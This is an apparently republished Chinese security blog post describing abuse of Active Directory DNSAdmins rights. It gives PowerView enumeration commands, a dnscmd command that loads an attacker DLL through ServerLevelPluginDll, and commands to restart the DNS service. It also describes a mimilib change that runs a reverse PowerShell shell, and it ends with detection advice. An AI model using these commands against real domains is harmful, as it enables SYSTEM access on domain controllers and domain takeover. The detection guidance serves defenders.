在Active Directory中滥用DNSAdmins进行提权

admin 2024年7月17日12:15:17评论14 views字数 2122阅读7分4秒阅读模式

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

关于无问社区

无问社区致力于打造一个面向于网络安全从业人员的技术综合服务社区,可免费获取安全技术资料,社区内技术资料知识面覆盖全面,功能丰富。

特色功能:划词解析、调取同类技术资料、基于推荐算法,为每一位用户量身定制专属技术资料。

无问社区-官网:http://wwlib.cn

无问社区站内阅读链接:

http://wwlib.cn/index.php/artread/artid/5801.html

前言

本篇文章详细介绍了 AD 中的功能滥用,其中作为 DNSAdmins 组成员或对 DNS 服务器对象具有写入权限的用户可以在 DNS 服务器上加载具有 SYSTEM 权限的任意 DLL。由于许多企业设置也使用域控制器 (DC) 作为 DNS 服务器,因此这是一个非常有趣的发现。让我们试着看看这个功能的实际用法。

初始访问

这是本地环境设置情况。我们以普通域用户 (labuser) 的身份对实验室 AD 中的一个盒子进行初始访问。

在Active Directory中滥用DNSAdmins进行提权

让我们首先枚举属于 PowerView 的 DNSAdmins 组的用户。

PS C:>  Get-NetGroupMember -GroupName "DNSAdmins"

在Active Directory中滥用DNSAdmins进行提权

在真正的红队或渗透测试中,下一步将针对buildadmin用户。我们可以使用PowerView中的InvokeUserHunter找到一个buildadmin令牌可用的域。

PS C:>  Invoke-UserHunter -UserName buildadmin

为了继续讨论这个主题,让我们假设我们找到了一个域,其中 buildadmin 的票证可用,并且我们当前的用户 (labuser) 也具有本地管理员访问权限 (derivative admin)。因此,我们拥有 DNSAdmins 组成员用户的权限。

现在,可能有两种情况 :一种是 DC 也是 DNS 服务器,第二种是单独的服务器充当 DNS 服务器。

对于第一种情况,DNS服务器服务在DC上运行,我们可以简单地使用Shay在帖子中提到的dnscmd来加载dll。还有一个 PowerShell 模块 - dnsserver - 用于此,但它没有很好的文档。

更新:Benjamin 确认可以从 UNC 路径加载 DLL。我的 UNC 路径中的“C$”是问题所在!

我们可以使用以下命令来加载 DLL。路径 \ops-builddll 应可由 DC 读取:

PS C:>  dnscmd ops_dc /config /serverlevelplugindll \ops-builddllmimilib.dll

对于调试(目标上需要管理员权限),可以使用以下命令检查是否已在目标上成功添加 DLL

PS C:>  Get-ItemProperty HKLM:SYSTEMCurrentControlSetServicesDNSParameters -Name ServerLevelPluginDll

现在,由于我们的用户是 DNSAdmins 的一部分,我们可以重新启动 DNS 服务。虽然这不是默认配置,但对于此类用户来说,有权重新启动 DNS 服务是有意义的。

C:> sc \ops-dc stop dns
C:> sc \ops-dc start dns

那么成功执行上述命令后,我们会得到什么呢?Benjamin 迅速更新了 mimilib 以用于此攻击。在此攻击中使用的 mimilib 的更新版本会将所有 DNS 查询记录到 C:Windowssystem32kiwidns.log

在Active Directory中滥用DNSAdmins进行提权

我们可以对 kdns.c 进行更改以包含命令执行功能。我包含了一行简单的代码来执行使用 Nishang 的 Invoke-Encode 编码的反向 PowerShell shell。对 DNS 服务的每个查询都会执行有效负载,并且仍将创建和填充kiwidns.log。

在Active Directory中滥用DNSAdmins进行提权

在我们的listener中:

在Active Directory中滥用DNSAdmins进行提权

很好!域控制器上的 SYSTEM。我们拥有这个域名,可能还有整个森林:D

对于我们的第二种情况,如果 DNS 服务未在 DC 上运行,我们仍然可以在“仅”使用 DNSAdmins 权限并重新启动 DNS 服务的情况下在盒子上获得 SYSTEM 访问权限。

如何检测攻击?

为防止攻击,请审核 ACL 对 DNS 服务器对象的写入权限和 DNSAdmins 组的成员身份。

明显的指标,如DNS服务重新启动和几个日志条目:

DNS 服务器日志事件 ID 150 表示失败,770 表示成功

在Active Directory中滥用DNSAdmins进行提权

在Active Directory中滥用DNSAdmins进行提权

Microsoft-Windows-DNS-Server/审核日志事件 ID 541 表示成功和失败。

监视对 HKLM:

SYSTEMCurrentControlSetservicesDNSParametersServerLevelPluginDll 

的更改也会有所帮助。

WriteProcessMemoryAPC - 使用 APC 调用将内存写入远程进程

使用 GAE C2 服务器的简单域前置 PoC

WriteProcessMemoryAPC - 使用 APC 调用将内存写入远程进程

Empire 域前置

BloodHound 简介

加入技术交流群

在Active Directory中滥用DNSAdmins进行提权

在Active Directory中滥用DNSAdmins进行提权

点“阅读原文”,访问无问社区

原文始发于微信公众号(白帽子社区团队):在Active Directory中滥用DNSAdmins进行提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日12:15:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在Active Directory中滥用DNSAdmins进行提权https://cn-sec.com/archives/2956862.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息